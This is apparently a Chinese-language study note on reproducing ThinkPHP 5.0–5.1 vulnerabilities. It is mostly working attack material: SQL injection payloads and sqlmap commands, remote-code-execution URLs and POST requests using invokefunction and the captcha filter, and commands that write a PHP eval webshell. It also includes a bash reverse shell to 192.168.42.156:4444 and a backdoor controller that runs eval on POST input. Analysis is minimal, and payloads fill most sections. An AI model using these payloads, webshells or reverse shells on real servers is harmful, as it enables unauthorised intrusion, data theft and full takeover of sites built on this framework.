1.tp5下载安装
版本 : thinkphp5.0.24完整版本
绑定域名www.tp5.com , 在模块的config.php中打开debug和追踪调试
tp3和tp5的区别
https://www.cnblogs.com/wupeiky/p/5850108.html
还有个很大的区别就是路由访问 , 在tp5中不在支持mac访问
http://www.tp5.com/index.php?m=Home&c=index&a=haha
# 实际上访问的是index.php 后面的参数不生效 , index.php也可以省略 , 但是需要在.htaccess中设置
实验版本 : thinkphp5.x 完整版本
2.tp5.0.9注入漏洞
2.1代码示例
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$id = input("id/a"); // 强行接收id参数 , 参数必须为数组
$data = db("users")->where("id","in",$id)->select(); //
dump($data);
}
}
2.2payload
http://www.tp5.com/index.php/index/index?id[0,updatexml(0,concat(0x5e,user()),0)]=1
如果还开启了debug的话会爆出数据库配置信息
2.3漏洞分析
这个漏洞比较鸡肋 , 是在PDO处理的第一步触发 , 不能进行子查询 , 所以无法获取数据库表名和字段 以及数据
只能看一些版本 , 用户信息
- 必须是5.0.5<5.0.9
- 接收的参数必须是数组 , 可控
2.4漏洞利用
python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?id[0,*]"
sqlmap是跑不出来的 , 只能手动
3.tp5.0.15update注入
3.1代码示例
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$level = input("level/a"); // 强行接收id参数 , 参数必须为数组
$data = db("users")->where("id",1)->update(["level"=>$level]); //
dump($data);
}
}
3.2payload
http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x5e,user(),0x5e),1)&level[2]=2
3.3漏洞分析
同样也是PDO处理中的报错 , 鸡肋 , 所以不能进行子查询 , 无法获取账号和密码
同样参数必须是数组 , 可控
3.4漏洞利用
python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=*&level[2]=2"
跑不出来
4.tp5.1聚合查询漏洞
网上虽然是爆的tp5.1的漏洞 ,但是tp5.0.15也有这个漏洞 , 这里继续用tp5.0.15演示
4.1示例代码
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$count = input("get.count"); // 强行接收id参数 , 参数必须为数组
$data = db("users")->count($count); //
dump($data);
}
}
4.2payload
http://www.tp5.com/index.php/index/index?count=id),(select sleep(5)),(username
延时注入5s
4.3漏洞分析
既然是聚合查询产生的漏洞 , 可能存在的地方肯定和统计有关
参数必须数数组 , 可控
需要手工构造payload
4.4漏洞利用
python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?count=id),(*),(username" --dbms=mysql --technique=T
sqlmap 跑不出来 , 需要手工注入
5.tp5.0.0-5.0.23RCE
路由地方出现的问题 , 和代码的写法没关系 , 这里依旧用tp5.0.15显示 , 不包括5.0.23
5.1payload
http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
要执行的函数 函数的参数
5.2漏洞分析
自行百度
5.3漏洞利用
直接写shell 或者 反弹shell
写webshell(保存在public目录下)
http://www.tp5.com/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST[x];)?%3E
反弹
http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1'
6.tp5.0.23RCE
6.1payload
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
函数 参数
6.2漏洞分析
自行百度
6.3漏洞利用
写shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "%3C?php%20@eval(\$_POST[x]);?%3E" > shell.php
7.thinkphp5.1.29漏洞
可能有的payload执行不了, 最好一个一个手工全试一试
7.1代码执行
http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
7.2命令执行
http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令
http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令 // 这个payload还是好使啊
http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
7.3文件写入
http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3
8.tp专用shell
基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器,直接写一句话可能会有解析问题导致无法执行指令,把一句话套入框架控制器的方法
<?php
namespace app\index\controller;
class Test
{
public function test()
{
eval($_POST["cmd"]);
}
}
一句话的地址就是http://www.tp5.com/index/test , 密码cmd
更多漏洞复现文库见 : https://0-wiki.com/#/
9.总结
关于tp5的命令执行漏洞居多 , 漏洞产生的原因是路由产生的 和开发写法无关
5.0.0-5.0.23
5.1-5.1.29 (中间也有可以代码执行的版本)
关于注入漏洞
5.0 update注入
>5.1 聚合函数注入 , 都是在PDO第一阶段引起的报错 , 不能进行子查询 , 只能爆库相关的
关于反序列化利用条件比较苛刻 , 看文章即可
推荐一自动化检测工具 : https://github.com/Lotus6/ThinkphpGUI/releases/tag/1.3